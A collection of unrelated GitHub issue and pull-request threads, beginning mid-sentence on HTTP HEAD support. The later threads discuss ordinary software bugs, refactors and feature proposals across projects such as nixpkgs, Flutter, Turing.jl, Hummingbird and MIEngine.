header fields in response to a HEAD request as it would have sent if
the request had been a GET, except that the payload header fields
(Section 3.3) MAY be omitted.  This method can be used for obtaining
metadata about the selected representation without transferring the
representation data and is often used for testing hypertext links for
validity, accessibility, and recent modification.

I tested with the demo express server:
$ curl localhost:3000 --head
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 12
ETag: W/"c-Lve95gjOVATpfV8EL5X4nxwjKHE"
Date: Sat, 25 Jul 2020 23:16:06 GMT
Connection: keep-alive

and rocket:
$ cargo +nightly run
🚀 Rocket has launched from http://localhost:8000
HEAD /:
    => Error: No matching routes for HEAD /.
    => Autohandling HEAD request.
    => Matched: GET / (hello)
    => Outcome: Success
    => Response succeeded.

$ curl localhost:8000 --head
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Server: Rocket
Content-Length: 13
Date: Sat, 25 Jul 2020 23:19:24 GMT

So I would be very surprised if there was a common server/framework that doesn't support HEAD requests. But of course I can't vouch for every webserver on the internet.

##[error]You have to provide a GITHUB_TOKEN or GH_PAT

Looks like CI only succeeds when run from a branch belonging to the repo :/

Oops, #2 says "Fixes https://github.com/Michael-F-Bryan/linkcheck/pull/1#issuecomment-663916205" and merging it automatically closed this PR.

Oops, #2 says "Fixes #1 (comment)" and merging it automatically closed this PR

I wish GitHub would distinguish between PRs and issues on their backend ... Did you know https://github.com/Michael-F-Bryan/linkcheck/issues/1 will take you to this PR? Seems kind of silly.


uacme: init at 1.7.1

Description of changes
Adds uacme, an ACMEv2 client written in plain C with minimal dependencies.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
22.05 Release Notes (or backporting 21.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 173008 run on x86_64-linux 1

1 package built:

uacme

great to have another Malte review my PR!

@Artturin is this ready to merge then?


Sometimes my new results.json is not reflected in the UI?

I'm not sure what I did wrong, but I ran make bench and then make serve yet somehow the results displayed in the UI did not reflect the results in my results.json.
I even removed all results.json from my dev area and the UI continued to serve some old copy.
I think somehow my browser was caching the old results in the local service worker?  When I switched to a different browser, suddenly it worked (reflected my new results).  Likewise an incognito browser window also worked.

This is maybe a simple browser caching issue -- it might be force reload fixes it, but I'm not sure yet.  Something strange is going on ... maybe the simple Python http.server is telling the browser it can cache this results.json file forever.

I tried poking around in the service worker state using Chrome's Dev tools but could not find results.json or anything being stored.

I asked new Bing how to disable browser-side caching, and here is what I got. Not sure if it works tho.

Open Google Chrome and click on the three dots in the top right corner of the window.
Click on “More tools” and then “Developer tools”.
In the Developer Tools window, click on the “Network” tab.
Check the “Disable cache” box at the top of the window.
This will disable caching for all requests made by Google Chrome 1. Alternatively, you can use Chrome’s “Incognito Window” mode by pressing CTRL + SHIFT + N to open up a new tab. This mode does not save any browsing history or cache data 2.
I hope this helps!

Personally, I run into this often when using make serve_local and using ssh tunneling to view the report which is hosted on EC2.
I have not yet experienced this on using make serve.


Switch to using a namespace module for archiving

Since we will be adding extra models for archived petitions like debate outcomes and government responses switch to using a module for namespacing.

Looks good to me 👍


Solve iOS gradient color issue

Setting the colors for gradient is problematic because of memory management issues.

Without CFBridgingRelease the gradient simply does not show.
Without CFRetain the app crashes with EXC_BAD_ACCESS
With both there is a memory leak in the application.

This code seems like working, but it leaks memory:
gradientLayerc.colors =
    listOf(
        CFBridgingRelease(CFRetain(UIColor.redColor.CGColor)),
        CFBridgingRelease(CFRetain(UIColor.yellowColor.CGColor))
    )

This code (from the YouTrack issue) crashes:
gradientLayer.colors = NSArray.arrayWithObjects(
    UIColor.redColor.CGColor, UIColor.yellowColor.CGColor
)

I'm not 100% sure that the problem is the colors or the CAGradientLayer. From the memory graph dump it seems like the gradient layer is not released.
Additional information:

https://stackoverflow.com/questions/76163957/kotlin-multiplatform-ios-gradient-layer-not-showing-in-custom-uiview
https://youtrack.jetbrains.com/issue/KT-40429/CoreFoundation-types-dont-work-with-Kotlin-collections#focus=Comments-27-4292051.0-0

Without adding the gradient, everything is fine, there is no apparent memory leak.
Testing with Good Morning

Adds a new UILabel every 20 milliseconds (the for cycle adds a new fragment).
That's about 50 change / second, 50*60 = 3000 change / minute.
Removes 49 UILabels every second.

Ran for 3 hours without gradient, memory usage was between 47 MB and 52 MB after three hours.
Also did a few few minutes and compared memory graph instance numbers, no noticeable change in any categories.

After spending a lot of time on this, it seems like this is a rather hard issue to solve. There are quite a few posts about CALayer leaking memory.
https://youtrack.jetbrains.com/issue/KT-54805
I tries calling GC right after the I set the sublayers to null. Nope, still leaks.
fragment.receiver.layer.sublayers = null
kotlin.native.runtime.GC.collect()

fragment.receiver.layer.sublayers?.forEach {
     it as CALayer
     it.removeFromSuperlayer()
}
kotlin.native.runtime.GC.collect()

Nope.

        fragment.receiver.layer.sublayers?.forEach {
            it as CALayer
            it.removeFromSuperlayer()
            it.delegate = null
            it.removeAllAnimations()
        }
        kotlin.native.runtime.GC.collect()

Nope.

Figured it out, was a problem in reapplication of instructions.


Broken wiki link in "Wherefore art thou"

Challenge Name

Wherefore Art Thou
Issue Description

I noticed the link to the wiki page for "Wherefore Art Thou" is busted - it returns a 404. (Maybe it was the name change - the wiki is still titled "Where Art Thou.")
Thanks!

@jurijuri thanks for catching this. Yes, it appears that the Wiki sidebar looks for the same title as the challenge. The Wiki page needs to be changed so that the file name is Algorithm-Wherefore-Art-Thou.md and that should fix the problem.
The corresponding function name and title should also be changed.
To contributors:
Please first read the contributing guidelines before taking care of this issue. And feel free to visit the Contributors Help chat room if you have any questions about helping. We're there to help.

@erictleung I'll take this one!

@Manish-Giri when you do make sure you add a Closes FreeCodeCamp/FreeCodeCamp#9497 tag in the PR to close this on a merge.


add an options flag 'useBounds' to indicate that the renderer should …

Rendering at the exact html pixel size results in blurry images in the canvas.  A workaround was found by 1) creating a canvas with double the bounds of the root html node 2) translating the canvas using the bounds and scaling the canvas by a factor of two 3) setting the canvas's style width and height to the original bounds width and height.  Users may then zoom in to 200% in the browser before the canvas becomes blurry.

Wouldn't it be better to allow the user to specify the scale at which the image is resized? This would allow for screens with 3 DPR such as HTC Butterfly. Then we can detect the currently used DPR on the device (for an example, http://stackoverflow.com/questions/15661339/how-do-i-fix-blurry-text-in-my-html5-canvas) and pass it as the resizeBounds parameter. The code I tried was:
 if (options.resizeBounds != undefined) {
     width = bounds.width * options.resizeBounds;
     height = bounds.height * options.resizeBounds;
 }
 var renderer = new options.renderer(width, height, imageLoader, options, document);
 if (options.resizeBounds ) {
     //scale the canvas
     renderer.canvas.style.width = bounds.width+'px';
     renderer.canvas.style.height = bounds.height+'px';
     renderer.canvas.getContext('2d').translate(-bounds.left * options.resizeBounds, -bounds.top * options.resizeBounds);
     renderer.canvas.getContext('2d').scale(options.resizeBounds, options.resizeBounds);
     // prevents cropping...
     options.canvas = renderer.canvas;
 }


Generalize gesture details that concerns cartesian positioning in a common interface

Use case
When generalizing over gesture details, we have to be specific about which details class we are using. This is not a big problem, but we could use of some generalization to make more abstract code.
For example, I have code similar to this in a production app:
// Currently, I have not how to guarantee that `DetailsType` is going to be a gesture details object
class GestureDetailsWithAdditionalData<DetailsType, T extends Object> {
  const LayerGestureDetails({
    required this.details,
    required this.data,
  });

  final DetailsType details;
  final T data;
}

ValueChanged<DetailsType> gesturerFor<DetailsType>({
  required ValueChanged<GestureDetailsWithAdditionalData<DetailsType, Object>>? Function(Layer) gestureFunction,
  required Offset Function(T) getLocalPosition,
}) {
  return (DetailsType details) {
    final layer = getLayer(...);
    final localPosition = getLocalPosition(details);
    // Do something with localPosition
    final gesture = gestureFunction(layer);
  };
}

// Usage
gesturerFor<TapDownDetails>(
  gestureFunction: (layer) => layer.onTapUp,
  getLocalPosition: (details) => details.localPosition,
);

If they implemented a common abstraction, the code could be simplified and made safer:
// Now I guarantee that details is something expected
class GestureDetailsWithAdditionalData<DetailsType extends PositionRelatedGestureDetails, T extends Object> {
  const LayerGestureDetails({
    required this.details,
    required this.data,
  });

  final DetailsType details;
  final T data;
}

ValueChanged<DetailsType> gesturerFor<DetailsType>(ValueChanged<GestureDetailsWithAdditionalData<DetailsType, Object>>? Function(Layer) gestureFunction) {
  return (DetailsType details) {
    final layer = getLayer(...);
    // I now can use details.localPosition directly
    final gesture = gestureFunction(layer);
  };
}

// Usage now guarantees that the returned function works on details
gesturerFor<TapDownDetails>(gestureFunction: (layer) => layer.onTapUp);

Proposal
Almost all gesture details related to cartesian positioning have in common a localPosition and globalPosition.

DragDownDetails
DragStartDetails
DragUpdateDetails
ForcePressDetails
LongPressDownDetails
LongPressEndDetails
LongPressMoveUpdateDetails
LongPressStartDetails
SerialTapDownDetails
SerialTapUpDetails
TapDownDetails
TapUpDetails

It would be nice and, as far as I can tell, a non-breaking change to make a common interface for them:
abstract class PositionRelatedGestureDetails {
  /// Documentation...
  Offset get localPosition;

  /// Documentation...
  Offset get globalPosition;
}

Scale gestures also have similar properties (focalPoint and localFocalPoint), but I am not sure if they should be included somehow in this generalization.

Consider we have a drag to select grid and it has the auto-scroll feature. We use onLongPress*, onPan*, and onHorizontalto receive user gestures. Luckily,onPan*andonHorizontal*uses shared detail typesDragDetails, but onLongPressusesLongPress*Details. All of these details have globaPositionandlocalPosition` but do not share the same base which will create redundant code when reading these fields.

@AlexV525 I opened a PR 3 years ago, but @goderbauer was not convinced of the benefits, and at that time I didn't have the time to discuss the matter with him, which lead to my PR being closed for unresponsiveness.
Maybe we can revive this?

@AlexV525 Are you a member of the core flutter team ? Can I ask why you came across fixing this issue ? I'm asking because the issue has 0 upvotes, is marked as P3 and the author does not need the fix anymore.

@AlexV525 Are you a member of the core flutter team ?

No.

Can I ask why you came across fixing this issue ? I'm asking because the issue has 0 upvotes, is marked as P3 and the author does not need the fix anymore. I don't mean to be rude, just wondering.

That is something I'm looking forward to have in the framework.

This may be a good place to bring up a similar thought I had which is to share an interface for drag, pan and scale details. The docs say

Pan and scale callbacks cannot be used simultaneously because scale is a superset of pan. Use the scale callbacks instead.

but this is not enforced anywhere, and pan has at times had more features than scale, which is technically a bug. (eg. https://github.com/flutter/flutter/issues/43833#issuecomment-548133779, https://github.com/flutter/flutter/issues/135873,  others). Would be great to enforce these relationships in code rather than in docs only. I may make a separate issued but wanted to bring it up here as it is related.

I may make a separate issued but wanted to bring it up here as it is related.

Sorry but it seems indeed unrelated. The issue is focusing about the common fields of *Positions in gesture details. Please submit new issues for it.


DROOLS-1139 - Added new generated test class for evals.

JIRA for this: https://issues.jboss.org/browse/DROOLS-1147

Incorporated and fixed by https://github.com/droolsjbpm/drools/pull/797


fix: Collection page can't change prefix

PR Type

[x] Bugfix
[ ] Feature
[ ] Refactoring

Context

[x] Closes #11294

Screenshot 📸

[x] My fix has changed something on UI;

https://github.com/user-attachments/assets/ca2cb996-49a9-4eba-a633-fd268a5ec6ab

I can't reproduce the bug as on the original issue. I also can't understand why we make this change. Could you pls provide the output of routeName on your side?

Mb didn't provide context
You have to be in one of the other tabs (activity or swaps) , selecting those adds '-activity' '-swaps' at the end of the route name, the old code did not catch those cases

I can't reproduce the bug as on the original issue. I also can't understand why we make this change. Could you pls provide the output of routeName on your side?

Mb didn't provide context
You have to be in one of the other tabs (activity or swaps) , selecting those adds '-activity' or '-swaps' at the end of the route name, the old code did not catch those cases

Got it, thanks! It's kind of a special case on the collection page. Adding a comment above that line may help.

Let's add it to the unit/e2e testing for every bug-fix PR, if possible. I think bug fixes that do not require chain interaction are easier to include in the unit/e2e testing

Let's add it to the unit/e2e testing for every bug-fix PR, if possible. I think bug fixes that do not require chain interaction are easier to include in the unit/e2e testing

cc @hassnian just minor stuff 🤏🏻


Fix formatting for small numbers.

Fixes #596.  Formatting numbers smaller than approximately 1e-6 resulted
in NaN (instead of a formatted string).  This was due to coercing the
numeric value to a string and adding an exponential notation to that;
however, small numbers coerce to exponential representation anyway, so
it was getting that notation twice.  In other words, 1e-7 would result
in the string 1e-7e+0 (for example), which was not parsing correctly.
Note that this is redundant with PR #635: when I was formatting this PR, I thought I'd look at some other PRs to see what the convention for PRs was, and lo and behold, the first one I found was a fix for this exact issue.  My fix is a more compact, but may exhibit undesirable behavior when formatting very small numbers (when the format can actually go down that low).
A bigger concern is what's the status of maintenance of this package?

I wonder what's the status of this whole project too, since I collected 4 PRs addressing this issue. Other PRs correct minor issues which could be easily merged as well.

Yeah, @MrCsabaToth, I think this project is dead in the water.  Seems like https://github.com/BenjaminVanRyseghem/numbro is the new numeral.js :/

I wonder if @adamwdraper would hand over the project to someone who could crunch over all the PRs and merge many at least...

👀


The window does not appear when started

As a result of the recent optimizations introduced to SKIF, it seems that the app is easier to get stuck in a "non-finalized" state upon being launched if the app/window loses "focus" quickly enough. If this occurs SKIF's window will not appear until the user triggers an update of it by either interacting with the taskbar button or notification area icon.

This was fixed in commit https://github.com/SpecialKO/SKIF/commit/aa0a0a416e8d1e468a8d2d051cddd75929bd6fe1. The issue was the below MsgWaitForMultipleObjects combined with the use of initially hidden frames in ImGui to set up the sizes of all UI elements.
https://github.com/SpecialKO/SKIF/blob/aa0a0a416e8d1e468a8d2d051cddd75929bd6fe1/src/SKIF.cpp#L2203-L2209


Commit version 0.1.0 to main branch

As of March 8th, we are developing version 0.1.0 on the dev branch. March 22nd is our target date to complete all tasks and make our next merge with the main branch.

Version 0.1.0 has been merged.


Sentiment Analysis on the Amazon Reviews Dataset

💥 Proposal
To perform Exploratory Data Analysis. Visualization, and Sentiment Analysis on the Amazon Reviews Dataset.
Link to Dataset: https://www.kaggle.com/datasets/bittlingmayer/amazonreviews

Hey @khusheekapoor , I am a GSSOC contributor . I would like to work on this issue.

Hello, As a fellow GSSOC contributor I am interested in working on this issue as I am an expert in NLP and create optimized code for easier understanding and I have previous experience in Sentiment analysis of swiggy and zomato reviews.

Hi @khusheekapoor  , iam a GSSOC23 contributer and I would like to resolve this issue
Can you assign me this issue? Or any other issues you might have?
Heres My Resume which you might find useful: Resume
Here is my background in ML:

6 months plus experience in working under college professors for research project on medical image classification.
Got 228 global rank in Amazon ML Challenge 2023 out of 30000+ teams participating.
Experienced with trainig machine Learning Models. Including image preprocessing techniues such as histrogram equilization, augmentation, stationary wavelet transformation, image segmentation. Along with feature extraction from models like resnet50 inceptionv3 vgg16 etc

Looking forward to hear from you.

Hey @khusheekapoor , I am a GSSOC contributor . I would like to work on this issue. can you assign me

@Sudiksha133  - you can go ahead! We are assigning you 21 days for this project, after which it will be assigned to someone else if not completed. All the best!
Name the file as: algorithm_dataset.ipynb and link it in the readme of the labeled directory as algorithm - dataset.
@KEERTHI1912 @s0oraj @ASHWIN492 @yash-jain-1   - since we are following the first-come-first-serve policy, we will not be able to assign you this issue. However, you can create another issue and use the same algorithm (sentiment analysis) on a different dataset.

@khusheekapoor Hey, can multiple people work on the same project? Because I would like to contribute too and due to tight schedule because of my exams I wasn't able to put in a request earlier?

I'm a contributor for GSSoC '23, I want to work on this issue. Please assign me.

@UditSharma9999 @PraNavKumAr01    - since we are following the first-come-first-serve policy, we will not be able to assign you this issue. However, you can create another issue on the similar lines.

Hi @khusheekapoor, I am a GSSOC'23 contributor and would like to work on this issue. Kindly assign this to me.

I would like to work on this topic. Can you assign me this @khusheekapoor?

I would like to work on this issue please assign it to me


Update to GHC 8.4, and LTS 11.2

Unfortunately it is not backwards compatible due to change in
TemplateHaskell.
I also added one more change down the line to make sure it correctly
executes example code on Mac OS X.
On Mon, Jul 30, 2018 at 11:52 PM David Fisher<EMAIL_ADDRESS>wrote:

@ddfisher commented on this pull request.
Thanks for the PR! Looks great.
In HaPy-haskell/Foreign/HaPy.hs
https://github.com/ddfisher/HaPy/pull/8#discussion_r206333903:

@@ -90,7 +90,7 @@ toForeignExp _         exp = fail "conversion failed: unknown type!"

makeFunction :: (String -> String) -> (Name -> [FType] -> ClauseQ) -> ([FType] -> TypeQ) -> Name -> DecsQ
makeFunction changeName makeClause makeType origName = do

VarI _ t _ _ <- reify origName

VarI _ t _ <- reify origName

Is this change backwards-compatible? If not, we should bump the major
version number.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ddfisher/HaPy/pull/8#pullrequestreview-141730890, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAp12bhq1JzK_D0I7vPwu1HrIsRD-b_pks5uL4AcgaJpZM4VmqO0
.

Wow! Great to see that you are still interested in this.
It seems quite tempting as an approach that can last over several compiler
versions and allow multitudes of HaskelloPythonists to use common API.
Cheers
Michał
On Tue, Oct 2, 2018 at 12:24 AM David Fisher<EMAIL_ADDRESS>wrote:

Sorry for not having gotten to this so far! I should have time to to
finish the review and release the new version in the next couple days.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ddfisher/HaPy/pull/8#issuecomment-426084387, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAp12a-BTfJWalIa__Ms-7ybmdXZ__qPks5ugpYMgaJpZM4VmqO0
.

so close!

Could use this update!

@ddfisher Can you please add me as maintainer?
This is extremely useful package, so I may keep maintaining it for new versions.


RTPBundleTransport Error

When stopping working outgoing stream I get:
[0x7f9df37fe700][1542091053.038][ERR]-RTPBundleTransport::ReadRTP() | No registered ICE candidate for [<IP_ADDRESS>:35280]
So, connection is okay, btw. Above error is not on regular basis.

Is it really ICE problem?
How do we process single ice messages?
Stream remains active (Google Chrome) - no inactive callback was called on client side.

Thanks.

This happens if an rtp packet is received form an ip:port which has not
been registered with an ICE stun request, so the medias server cannot
route it to the appropriate transport.
Does it happen at the beginning (before the transport is initialized) or
at the end (when transport is closed, but pc is not yet on browser) or
in the middle of a call?
Best regards
Sergio
On 13/11/2018 7:52, Tomas Berg wrote:

When stopping working outgoing stream I get:
|[0x7f9df37fe700][1542091053.038][ERR]-RTPBundleTransport::ReadRTP() |
No registered ICE candidate for [<IP_ADDRESS>:35280]|
So, connection is okay, btw. Above error is not on regular basis.
Is it really ICE problem?
How do we process single ice messages?
Thanks.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/medooze/media-server-node/issues/53, or mute the
thread
https://github.com/notifications/unsubscribe-auth/ABBW8zfDal7DYLJYUJndBu83AOhWWFxvks5uumw-gaJpZM4YbBfV.

@murillo128 Sergio thanks for reply.
This happens after we stop stream and close transport for peer. Browser already is closed at this moment.

There may be a few rtp packets flying around, should not happen after PC
is really closed.
I can reduce the log level to Debug so it doesn't spawn the log.
On 13/11/2018 13:13, Tomas Berg wrote:

@murillo128 https://github.com/murillo128 Sergio thanks for reply.
This happens after we stop stream and close transport for peer.
Browser already is closed at this moment.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/medooze/media-server-node/issues/53#issuecomment-438245073,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABBW84FFlifdXqc1S19ajqjqMyn_Se9Hks5uurdlgaJpZM4YbBfV.

@murillo128 ok, got it, thanks

@murillo128 btw, sometimes Google Chrome keeps stream in active state (no inactive callback was called), even after we stopped it on server and delete transport.

You have to signal it back from the server to the client and perform an sdp O/A to remove the stream on the browser.
By the way, I have just released a client lib for browers, maybe it is helpful to you:
https://github.com/medooze/media-server-client-js

can I close this?

@murillo128 , yes, please


fix(v2): fix inconsistent error output in swizzle command

Motivation
Fixes #3408, but also does some minor refactoring of command body to improve the comprehensibility/readability of the code (mostly, using return early pattern and using console.warn together with process.exit instead of throwing an exception so as not to display unnecessary/long stack trace).
Have you read the Contributing Guidelines on pull requests?
Yes
Test Plan
Try to execute swizzle command with different cases (with empty/wrong arguments, with --danger and --typescript flags).
Related PRs
(If this PR adds or changes functionality, please take some time to update the docs at https://github.com/facebook/docusaurus, and link to your PR here.)

thanks, that seems to work better now ❤


fix(msrv): Error, rather than panic, on rust-version 'x'

What does this PR try to resolve?
Fixes #13768
How should we test and review this PR?
Additional information

Thanks for this!
@bors r+

:pushpin: Commit 6d8d3b6420d00f42a6a38841c743a5d577422f71 has been approved by weihanglo
It is now in the queue for this repository.

:hourglass: Testing commit 6d8d3b6420d00f42a6a38841c743a5d577422f71 with merge d680ce5eb68de90df0ce8a36b6a11c996a39abe6...

:broken_heart: Test failed - checks-actions

@bors retry
network failures

:hourglass: Testing commit 6d8d3b6420d00f42a6a38841c743a5d577422f71 with merge 39b8f1702edcc287994852befd15b619019b795f...

:sunny: Test successful - checks-actions
Approved by: weihanglo
Pushing 39b8f1702edcc287994852befd15b619019b795f to master...


Result builder router

Build router as follows
let router = HBRouter(context: HBBasicRouterContext.self) {
    HBLogRouteMiddleware()
    TracingMiddeware()
    Get("healthy") { _,_ in
        HTTPResponseStatus.ok
    }
    RouteGroup("user") {
        BasicPasswordMiddleware()
        Post(handler: signup)
    }
}
let app = HBApplication(responder: router)

You can return a router group from a function as follows
func todosRouteGroup<Context: HBRequestContext>() -> some HBMiddlewareProtocol<Context> {
    return RouteGroup("todos") {
        Get(handler: listTodos)
        Put(handler: putTodo)
        Get(":id", handler: getTodo)
    }
}
let router = HBRouter(context: HBBasicRouterContext.self) {
    ...
    todosRouteGroup
    ...
}

This currently has an issue where it is processing middleware as it is doing route selection. So middleware inside a group where no route is matched will still run. I need to work out how to get around this.

Added creating routes with a result builder so you can apply middleware to individual routes eg
HBRouter(context: HBBasicRouterContext.self) {
    Post("login") {
        BasicPasswordMiddleware()
        login
    }
}

First of all, many thanks for all these updates, I really love them so far.
I only got two minor feedbacks for the current RouteBuilder setup / naming conventions:
// we don't have this right now
On(.TRACE, "foo") { _, context in
    context.resolvedEndpointPath
}
// RouteGroup -> Group?
Group("testGroup") {
    // grouped routes & middlewares
}

I was instantly looking for an On(HTTPMethod) handler, which is non-existing at the moment.
The RouteGroup should be called Group IMHO, it's easier for my brain just to Group things together, I know it can be a namespace issue, but still. 😅

+1: Is this going to be the default on HB2.0? If not we should definitely create a component on top of the currently existing route system and add this as a package dependency, I'd like to be able to make a choice if possible. 🤔
What do you think about these points? 🙏

I was instantly looking for an On(HTTPMethod) handler, which is non-existing at the moment.
The RouteGroup should be called Group IMHO, it's easier for my brain just to Group things together, I know it can be a namespace issue, but still. 😅

You can use Route for On.
Naming is not defined yet. It's slightly frustrating that you can't namespace the names somehow. As result builders generate loads of really generic named top level symbols.


Method Error when trying to estimate degree of freedom with TDist

Hi,
the following code throws an error (on Julia 1.0.3)
using Turing y = rand(TDist(4),100) @model est_TD(y) = begin     nu ~ LogNormal(0,2)     [y[i] ~ TDist(nu) for i = 1:length(y)] end out_HMC = sample(est_TD(y),HMC(500,1e-4,5))
It seems that it has something to do with differentiation. Is there something wrong with trying to estimate the degree of freedom from the data? Has anyone encountered this before and/or found some workaround?
I will be thankful for any help

Looks like another one of #661. Requires a fix like #664.

A bit of context: StatsFuns.jl uses ccall to find the logpdf of a number of distributions. ccall doesn't support AD, so it needs to be worked around.

Closed in favour of https://github.com/TuringLang/Turing.jl/issues/674


refactor: Build queries with query builder

Pull Request Checklist
Task Description/Number

Issue Number: DEV-
PR Type

[ ] build/chore: maintenance tasks (no production code change)
[ ] docs: documentation changes (no production code change)
[ ] feat: represents new features
[ ] fix: represents bug fixes
[ ] perf: performance improvements
[ ] refactor: represents production code refactoring
[ ] test: adding or refactoring tests (no production code change)
[ ] deprecated: Deprecation warning (ideally referencing a migration guide)

Basic requirements for bug fixes and features

[ ] Tests for the changes have been added
[ ] Docs have been added / updated

Does this PR introduce a breaking change?

[ ] Yes

In general, I see that the change is fairly straightforward – add the triples for the structured INSERT query from the .txt files, add tests (I hope you've just saved the printed outputs).
Hence, I don't think there's much to worry about here.
However, purely to make high level navigating of the file possible and to make it a bit more pleasant to the eye, I would suggest to

break off the big for (.. <- ..) {s as well as the standalone match statements into methods
use .foreach instead of for statements
refactor .foreach(c => ….andHas(…, _)) to _*` (splat) syntax where possible, see: https://github.com/dasch-swiss/dsp-api/blob/5f0cc71f2a7e2248debfa98ee77dd264042f02e4/webapi/src/main/scala/org/knora/webapi/slice/admin/repo/service/KnoraUserRepoLive.scala#L120-L135
use rename the KnoraBaseVocab import to something short (see if .* import is fitting), just to reduce clutter.

In general, I see that the change is fairly straightforward – add the triples for the structured INSERT query from the .txt files, add tests (I hope you've just saved the printed outputs).
Hence, I don't think there's much to worry about here.
However, purely to make high level navigating of the file possible and to make it a bit more pleasant to the eye, I would suggest to

break off the big for (.. <- ..) {s as well as the standalone match statements into methods
use .foreach instead of for statements
refactor .foreach(c => ….andHas(…, _)) to _*` (splat) syntax where possible, see: https://github.com/dasch-swiss/dsp-api/blob/5f0cc71f2a7e2248debfa98ee77dd264042f02e4/webapi/src/main/scala/org/knora/webapi/slice/admin/repo/service/KnoraUserRepoLive.scala#L120-L135
use rename the KnoraBaseVocab import to something short (see if .* import is fitting), just to reduce clutter.

Thanks for your input!
I have previously (cf. https://github.com/dasch-swiss/dsp-api/pull/3276/commits/3e589019c8372eac10e777321fc0d8f613240508) also asserted that the output from the old template-based implementation is isomorphic to the new output, so I think we can be quite confident that it works (apart from the places where I missed test coverage, and so it's broken now... but I'm on it ^^).
That's exactly the kind of suggestion I was hoping for, thanks. I have been staring at this mess for so long that I couldn't see clearly how to make it less ugly...
Regarding KnoraBaseVocab: this will go away anyway, it's currently mostly duplication some other vocabulary we already have. I just added it during development to have everything in one place.

Reviewing whether the queries stayed the same is tough and I just sampled it.
In the ResourcesRepoLiveSpec you have gone to great length to ensure that this is the case I guess. Would it make sense to test not only the query equality there but also if these queries work as expected? I guess our integration tests should cover this - at least partly - already, did you check if they are missing some?

During development I constantly compared the produced result not only with my expectation, but also with the previous implementation (cf. https://github.com/dasch-swiss/dsp-api/commit/3e589019c8372eac10e777321fc0d8f613240508 ) so my confidence that nothing has changed is pretty high. Admittedly my tests don't cover all permutations/combinations of possible input, so there is no 100% confidence. But my confidence is pretty high. :)
Similarly, the integration tests test many things, but probably not everything. But I'm not actively aware of anything that is not covered. So again, not 100% confidence, but pretty good.


Convert MIDebugEngine to use SDK csproj

This PR converts all the C# projects to use the new styled sdk projects.
Removed prebuild.csproj. The IL used for each specific project is added and is generated by the target which will run before resolving References.

Status
Task

✔
Analyzers

✔
Validate MicroBuild.Core

✔
Fix Build Pipelines

✔
Fix The literal or constant value <...> should be passed as the  'expected' argument in the call to 'Assert.Equal(expected, actual)' in tests

✔
Fix MIDebugPackage.pkgdef Generation

✔
VSIX generation for SSHDebugPS

TODO List:

Status
Task

😖
Fix MIDebugPackagePackage Threading Issues

:x:
Remove <PropertyGroup Condition = $(Configuration) | $(Platform) == Desktop.Debug|AnyCPU>

<IntermediateGeneratedOutputPath>$(IntermediateOutputPath)Generated\</IntermediateGeneratedOutputPath>

Is this still used?

Refers to: build/all_projects.settings.targets:23 in ed816ac. [](commit_id = ed816ac959e1ada67b0834052c2248183fd0c79e, deletion_comment = False)

Your new .pkgdef file somehow wound up being binary, even though MIEngine has the right .gitattributes file.

Doesn't need to be done on this checkin, but should we delete all this crap?

Refers to: src/MIDebugPackage/MIDebugPackage.csproj:23 in ed816ac. [](commit_id = ed816ac959e1ada67b0834052c2248183fd0c79e, deletion_comment = False)

Otherwise LGTM

@gregg-miskelly Is it normal to require dotnet restore before building the solution? The building experience is a bit weird in VS since you have to do the restore first before building the solution.
There also seems to be an issue with MakePIAPortable and WindowsDebugLauncher not restoring when you run dotnet restore src\MIDebugEngine.sln

Doesn't need to be done on this checkin, but should we delete all this crap?

Are you referencing the
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
    <DebugSymbols>true</DebugSymbols>
    <DebugType>full</DebugType>
    <Optimize>false</Optimize>
    <DefineConstants>$(DefineConstants);DEBUG;TRACE</DefineConstants>
    <ErrorReport>prompt</ErrorReport>
    <WarningLevel>4</WarningLevel>
    <PlatformTarget>AnyCPU</PlatformTarget>
  </PropertyGroup>

Yes

@gregg-miskelly Is it normal to require dotnet restore before building the solution? The building experience is a bit weird in VS since you have to do the restore first before building the solution.
There also seems to be an issue with MakePIAPortable and WindowsDebugLauncher not restoring when you run dotnet restore src\MIDebugEngine.sln

Looks like I need to do something like <Target Name="RestoreSDKProjects"

@gregg-miskelly Is it normal to require dotnet restore before building the solution? The building experience is a bit weird in VS since you have to do the restore first before building the solution.

The way it should work is that if you open the solution it should start restoring in the background. If you aren't seeing that, do you have "Tools->Options->NuGet Package Manager->Allow NuGet to download missing packages" and "Automatically check for missing packages during build in Visual Studio" checked?
It might be expected that if you build on the command line, and didn't do a dotnet restore first, it will fail. I thought they changed that, but maybe only for certain project types.

There also seems to be an issue with MakePIAPortable and WindowsDebugLauncher not restoring when you run dotnet restore src\MIDebugEngine.sln

This is probably because they aren't configured to build by default. Can you right click on the solution or project and restore them?

This paves the way for a .NET Core build of MIEngine, am I right?
Maybe even for Alpine support by getting rid of Mono?

This paves the way for a .NET Core build of MIEngine, am I right?
Maybe even for Alpine support by getting rid of Mono?

